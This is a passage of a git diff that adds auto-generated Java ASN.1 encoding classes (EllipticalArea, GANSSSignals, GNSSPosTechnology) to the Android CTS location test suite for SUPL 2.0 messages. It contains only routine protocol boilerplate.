+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMajor_maxType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMajor_max : "
+ + getSemiMajor_max().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMinor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMinor();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMinorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMinorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMinor : "
+ + getSemiMinor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMinor_min() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMinor_min();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMinor_minToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMinor_minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMinor_min : "
+ + getSemiMinor_min().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getSemiMinor_max() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSemiMinor_max();
+ }
+
+ @Override public void setToNewInstance() {
+ setSemiMinor_maxToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.semiMinor_maxType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "semiMinor_max : "
+ + getSemiMinor_max().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getAngle() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAngle();
+ }
+
+ @Override public void setToNewInstance() {
+ setAngleToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.angleType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "angle : "
+ + getAngle().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMajorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMajorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMajorType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMajorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMajorType != null) {
+ return ImmutableList.of(TAG_semiMajorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMajorType from encoded stream.
+ */
+ public static semiMajorType fromPerUnaligned(byte[] encodedBytes) {
+ semiMajorType result = new semiMajorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMajorType from encoded stream.
+ */
+ public static semiMajorType fromPerAligned(byte[] encodedBytes) {
+ semiMajorType result = new semiMajorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMajorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMajor_minType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMajor_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMajor_minType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMajor_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMajor_minType != null) {
+ return ImmutableList.of(TAG_semiMajor_minType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMajor_minType from encoded stream.
+ */
+ public static semiMajor_minType fromPerUnaligned(byte[] encodedBytes) {
+ semiMajor_minType result = new semiMajor_minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMajor_minType from encoded stream.
+ */
+ public static semiMajor_minType fromPerAligned(byte[] encodedBytes) {
+ semiMajor_minType result = new semiMajor_minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMajor_minType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMajor_maxType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMajor_maxType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMajor_maxType() {
+ super();
+ setValueRange("1", "1500000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMajor_maxType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMajor_maxType != null) {
+ return ImmutableList.of(TAG_semiMajor_maxType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMajor_maxType from encoded stream.
+ */
+ public static semiMajor_maxType fromPerUnaligned(byte[] encodedBytes) {
+ semiMajor_maxType result = new semiMajor_maxType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMajor_maxType from encoded stream.
+ */
+ public static semiMajor_maxType fromPerAligned(byte[] encodedBytes) {
+ semiMajor_maxType result = new semiMajor_maxType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMajor_maxType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMinorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMinorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMinorType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMinorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMinorType != null) {
+ return ImmutableList.of(TAG_semiMinorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMinorType from encoded stream.
+ */
+ public static semiMinorType fromPerUnaligned(byte[] encodedBytes) {
+ semiMinorType result = new semiMinorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMinorType from encoded stream.
+ */
+ public static semiMinorType fromPerAligned(byte[] encodedBytes) {
+ semiMinorType result = new semiMinorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMinorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMinor_minType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMinor_minType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMinor_minType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMinor_minType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMinor_minType != null) {
+ return ImmutableList.of(TAG_semiMinor_minType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMinor_minType from encoded stream.
+ */
+ public static semiMinor_minType fromPerUnaligned(byte[] encodedBytes) {
+ semiMinor_minType result = new semiMinor_minType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMinor_minType from encoded stream.
+ */
+ public static semiMinor_minType fromPerAligned(byte[] encodedBytes) {
+ semiMinor_minType result = new semiMinor_minType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMinor_minType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class semiMinor_maxType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_semiMinor_maxType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public semiMinor_maxType() {
+ super();
+ setValueRange("1", "1500000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_semiMinor_maxType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_semiMinor_maxType != null) {
+ return ImmutableList.of(TAG_semiMinor_maxType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new semiMinor_maxType from encoded stream.
+ */
+ public static semiMinor_maxType fromPerUnaligned(byte[] encodedBytes) {
+ semiMinor_maxType result = new semiMinor_maxType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new semiMinor_maxType from encoded stream.
+ */
+ public static semiMinor_maxType fromPerAligned(byte[] encodedBytes) {
+ semiMinor_maxType result = new semiMinor_maxType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "semiMinor_maxType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class angleType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_angleType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public angleType() {
+ super();
+ setValueRange("0", "179");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_angleType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_angleType != null) {
+ return ImmutableList.of(TAG_angleType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new angleType from encoded stream.
+ */
+ public static angleType fromPerUnaligned(byte[] encodedBytes) {
+ angleType result = new angleType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new angleType from encoded stream.
+ */
+ public static angleType fromPerAligned(byte[] encodedBytes) {
+ angleType result = new angleType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "angleType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("EllipticalArea = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java
new file mode 100755
index 0000000..9d736ee
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GANSSSignals.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSSignals extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSSignals
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSSignals() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSSignals;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSSignals != null) {
+ return ImmutableList.of(TAG_GANSSSignals);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSSignals from encoded stream.
+ */
+ public static GANSSSignals fromPerUnaligned(byte[] encodedBytes) {
+ GANSSSignals result = new GANSSSignals();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSSignals from encoded stream.
+ */
+ public static GANSSSignals fromPerAligned(byte[] encodedBytes) {
+ GANSSSignals result = new GANSSSignals();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSSignals = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
new file mode 100755
index 0000000..e892203
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/GNSSPosTechnology.java
@@ -0,0 +1,999 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GNSSPosTechnology extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GNSSPosTechnology
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GNSSPosTechnology() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GNSSPosTechnology;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GNSSPosTechnology != null) {
+ return ImmutableList.of(TAG_GNSSPosTechnology);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GNSSPosTechnology from encoded stream.
+ */
+ public static GNSSPosTechnology fromPerUnaligned(byte[] encodedBytes) {
+ GNSSPosTechnology result = new GNSSPosTechnology();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GNSSPosTechnology from encoded stream.
+ */
+ public static GNSSPosTechnology fromPerAligned(byte[] encodedBytes) {
+ GNSSPosTechnology result = new GNSSPosTechnology();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GNSSPosTechnology.gpsType gps_;
+ public GNSSPosTechnology.gpsType getGps() {
+ return gps_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.gpsType
+ */
+ public void setGps(Asn1Object value) {
+ this.gps_ = (GNSSPosTechnology.gpsType) value;
+ }
+ public GNSSPosTechnology.gpsType setGpsToNewInstance() {
+ gps_ = new GNSSPosTechnology.gpsType();
+ return gps_;
+ }
+
+ private GNSSPosTechnology.galileoType galileo_;
+ public GNSSPosTechnology.galileoType getGalileo() {
+ return galileo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.galileoType
+ */
+ public void setGalileo(Asn1Object value) {
+ this.galileo_ = (GNSSPosTechnology.galileoType) value;
+ }
+ public GNSSPosTechnology.galileoType setGalileoToNewInstance() {
+ galileo_ = new GNSSPosTechnology.galileoType();
+ return galileo_;
+ }
+
+ private GNSSPosTechnology.sbasType sbas_;
+ public GNSSPosTechnology.sbasType getSbas() {
+ return sbas_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.sbasType
+ */
+ public void setSbas(Asn1Object value) {
+ this.sbas_ = (GNSSPosTechnology.sbasType) value;
+ }
+ public GNSSPosTechnology.sbasType setSbasToNewInstance() {
+ sbas_ = new GNSSPosTechnology.sbasType();
+ return sbas_;
+ }
+
+ private GNSSPosTechnology.modernized_gpsType modernized_gps_;
+ public GNSSPosTechnology.modernized_gpsType getModernized_gps() {
+ return modernized_gps_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.modernized_gpsType
+ */
+ public void setModernized_gps(Asn1Object value) {
+ this.modernized_gps_ = (GNSSPosTechnology.modernized_gpsType) value;
+ }
+ public GNSSPosTechnology.modernized_gpsType setModernized_gpsToNewInstance() {
+ modernized_gps_ = new GNSSPosTechnology.modernized_gpsType();
+ return modernized_gps_;
+ }
+
+ private GNSSPosTechnology.qzssType qzss_;
+ public GNSSPosTechnology.qzssType getQzss() {
+ return qzss_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.qzssType
+ */
+ public void setQzss(Asn1Object value) {
+ this.qzss_ = (GNSSPosTechnology.qzssType) value;
+ }
+ public GNSSPosTechnology.qzssType setQzssToNewInstance() {
+ qzss_ = new GNSSPosTechnology.qzssType();
+ return qzss_;
+ }
+
+ private GNSSPosTechnology.glonassType glonass_;
+ public GNSSPosTechnology.glonassType getGlonass() {
+ return glonass_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GNSSPosTechnology.glonassType
+ */
+ public void setGlonass(Asn1Object value) {
+ this.glonass_ = (GNSSPosTechnology.glonassType) value;
+ }
+ public GNSSPosTechnology.glonassType setGlonassToNewInstance() {
+ glonass_ = new GNSSPosTechnology.glonassType();
+ return glonass_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGps() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGps();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.gpsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gps : "
+ + getGps().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGalileo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGalileo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGalileoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.galileoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "galileo : "
+ + getGalileo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbas() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbas();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.sbasType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbas : "
+ + getSbas().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getModernized_gps() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModernized_gps();
+ }
+
+ @Override public void setToNewInstance() {
+ setModernized_gpsToNewInstance();
+ }
+
